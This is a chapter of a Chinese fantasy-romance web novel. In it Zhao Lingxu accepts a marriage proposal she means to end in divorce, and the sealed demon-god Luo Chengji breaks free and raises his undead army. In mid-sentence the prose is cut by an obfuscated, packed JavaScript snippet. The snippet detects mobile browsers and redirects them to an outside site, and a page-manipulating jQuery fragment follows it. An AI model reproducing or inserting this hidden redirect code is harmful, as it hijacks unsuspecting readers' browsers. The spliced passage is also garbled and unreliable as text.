“既如此在下要向赵姑娘赔罪才是,不如——” 这姑娘当是生怕他提出什么无法拒绝的邀请,急得脸蛋都泛起红,也不顾礼仪,急急道:“公子客气了,我并无大碍。出来得有些久了,只怕母亲担心,还请公子就此留步。” 话落,福一福身,也不敢正眼看他,急匆匆转身便离去。 冯元青还想说什么,目光所及之处已只剩一个婀娜袅袅的背影,空中似乎还留有她身上淡淡余香。 * 窈窕淑女,君子好逑。 在别苑住了两日,打听赵菱絮的人家越发多起来,而其中最为高调的当属郡王独自冯元青。 这般美貌是藏不住的,那冯元青又是个出了名的浪荡子,几乎日日要寻个由头出现在赵家姑娘面前。 先前丫鬟那事闹出才不久,那冯元青应当正是被严厉管束的时候,偏生郡王妃睁一只眼闭一只眼只当看不见,于是众人便懂了,这是看上了赵家的那位三姑娘,恐怕是要求亲。 赵大夫人一直没什么表示,整日里沉默着,唯有赵蓉婧赵蓉玥忿忿不平,得空便拉着她说道,莫要被那皮囊骗了。 然而这才只是个开始,好容易回到赵府,原想能安生几日,冯元青却愈发殷勤起来,处处寻偶遇,甚至与赵家那不成器的大少爷称兄道弟。 赵大夫人依旧带着菱絮频繁出门交际,每次出门,总会在合适的时机带她相看一两位公子。 而每一次,菱絮都会在不远处发现一道黑色的影子,不远不近,就这么跟着,它无处不在,只被她看到。 与此同时,她的梦中再无洛承寂。 直到一个诸事皆宜的日子,高阳郡王妃带着礼上了赵家的门。 京中中意菱絮的人家自然是不少,可又有几个敢跟郡王家抢?只不过都抱着一些希望,盼着合出个八字不合的消息来,盼着赵家拒了这门婚事。 赵大夫人问菱絮怎么想。 菱絮羞怯,扭扭捏捏半天说不出个所以然,赵大夫人叹口气,懂了。 夜里丽珠知道了这个消息,小脸上头一次没了笑,哇的一声放声大哭。 她直说姑娘是个傻子,旁人都知晓找个如意郎君,偏姑娘要糟蹋自己,这门婚说什么也不能成! 菱絮看着她哭,又好笑又觉心酸,本是笑着哄的,没一会儿喉间便觉哽咽。 “没事的,总归要不了两年就会和离,既然如此,自然是不能耽误品性端正之人。” 父母究竟生养她一场,横竖都是嫁,若能嫁入郡王府便是高嫁,有了得力的亲家,父亲叔伯的前程许还能再上一层楼。 几次三番接触下来,也能摸清冯元青是个没有城府之人,他只是单纯的坏。 只要不生孩子,届时寻他个不得不和离的错处,想必也不是难事。 她抱着丽珠的肩膀,在她耳边道:“这是我们的秘密,丽珠可要保守好秘密。” 丽珠哭得抽抽噎噎,糊着满脸泪问她:“为何要和离,寻个良人相守一生不好吗?” 菱絮握住她的手:“良人良人,父亲也曾是母亲的良人,可如今呢?将自己的人生托付于他人手中,是最最要不得的事。” “嫁人,于我来说不过是从一个牢笼去到另一个牢笼,不管成婚与否,我的人生便只有这四方天地。” 她说丽珠,那样我不快乐,“槛花笼鹤不是我想要的,我想去看天大地大。” 丽珠渐渐收了声,有些事她还不能理解,可她懂姑娘不快乐。 定下婚约的前夜,赵大夫人递给菱絮一个匣子,短短几日,她瞧着像老了十岁,又像生了一场大病,颇为憔悴。 “是时候还给你了。” 她用了还这个字眼。 菱絮打开匣子,里面躺着一块翡翠,莹润透亮,其上刻着她的名字,形状颇为古怪,四四方方的,中间有一处圆形凹陷。 很……熟悉。 * 又到了十五,这一日是每月中封印最薄弱的一天。 无数被吸引来的妖邪鬼怪会趁机而入,它们妄图侵占这片土地上最后一丝灵气,妄图在这片烂泥一般的地方肆意生长,妄图将他生吞入腹。 日复一日,年复一年,洛承寂撑着最后一口气,一次又一次杀红了眼,将它们屠戮殆尽。 这里是战场,千年前是,千年后也没有改变。 他站在尸山的顶端,抬手擦掉喷溅在脸上的血迹,乌发吹动,左眼红光大盛,宛如修罗。 头顶风起云涌,昏黄的天空之上出现一个巨大的旋涡,阵阵电光闪过,织成一张密密麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12125448|129148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻的网,整片大地都是它的猎场。 下一瞬,惊雷爆响,在那片网之中,不起眼的角落忽而出现一道血红符咒,印在空中一闪而过,那字迹当真如血般缓缓流淌下来,云层背后,回荡着凄厉哀嚎的叫声,仿佛有万千恶鬼挣扎其中。 洛承寂冷笑。 最后一张。 这是第一千个年头,他等这一日太久了。 妖邪围满了尸山,入眼是密密麻麻的魔气与鬼气,它们匍匐在四周蠢蠢欲动,仰望着山巅之上的少年,四处游移。 忽而,有丝丝寒气自空中闪现,诡异蓝光紧随其后。 妖鬼似乎嗅到了什么,躁动起来。 空中寒气越来越重,血湖在不知不觉中结冰,尸山更是覆上寒霜,冰蓝光线越来越大,逐渐凝汇入一个方向。 妖鬼们几乎同时安静,下一瞬,疯魔了般飞速逃窜。 硕大的蓝光被握在少年手中,他轻轻一转,那团光骤然炸开!只一个瞬息,所有在逃的欲要逃的,统统化外齑粉。 洛承寂没有施舍一个目光,源源不断的灵力继续汇集在手中,罡风愈演愈烈,他抬起手臂,对准那道符咒,蓝光迅雷不及掩耳之势猛冲直上。 密网之上雷电频频闪过,雷声巨响,几乎是他抬手的同时,数道闪电疯了般劈砸而下,直冲山顶那人。 白光将天打亮了,震耳欲聋的雷声掩不住一声清脆响动。 有什么东西裂开了,先是那张血红符咒,它随着云层后厉鬼的哭嚎消散于风中。 雷电威力渐弱,一道慢于一道,最后已是肉眼可见的速度,狂风也跟着渐渐平息。 然后是那千年不变的昏黄天空,裂开一道口子,缝隙处透出刺目光芒。 那层昏黄的屏障因着这个裂口开始剧烈抖动,竭力撑了几息,紧跟着四分五裂,也碎掉了。 眼前景色一霎时天旋地转,空间里的一切都消失于无形,尸山血湖转瞬消弭,黄蒙蒙的天坠落成一地碎片,取而代之的是阴云密布的天,一眼望去黑沙弥漫,入目是阴冷暗色调,死寂丛生。 百米远之外逐渐显露出一座破旧城墙,这里尸殍遍地,一片狼藉。 与千年前他离开时一样。 洛承寂深深吸了一口气,身上的伤口飞速愈合,黑衣褪去,片片金甲覆于身前。 封印已破,他是真的出来了。 他等这一天足足等了千年,今日终于得偿所愿,再没有什么能束缚他! 接下来他要去做一件等了千年的事。 洛承寂平视着这片战场,薄唇微启: “吾已归位,众将听令。” 冥冥低音传至四面八方,冰冷空灵,无悲无喜,如敲在巨钟之上的一声闷响,一重是洁白神性,一重是幽冥魔性。 一望无际的战场上起先是阒静,片刻后,大地微微震颤。 先是一块土地松动,一只苍白的手掌破土而出,紧跟着无数只手掌破土而出。 一个接一个身穿战袍的将士从土中爬出,几十个,几百个……整整齐齐排成队列,手持长枪,面容苍白肃穆。 最后是洛承寂脚下。 一左一右,两个年轻男子于冰蓝色幽光中缓缓升起,战甲及身,高大健硕,俊脸冰冷坚毅,如两座山稳稳立着。 他们在显形的瞬间,步调一致,单膝跪地。 “末将擒星——” “末将射月——” “听命!” 俊美的少年闭了闭眼,再睁眼时,漆黑退却,两只瞳仁是一模一样的鲜红。手掌之上,脖颈处,额头处,生长出古怪的黑色脉络,活物般蠕动,而后隐隐消失掉。 这般诡邪面容之上,是骇人的平静。 “她没有听我的话……”他像是自言自语:“那便由我亲自捉回来罢。”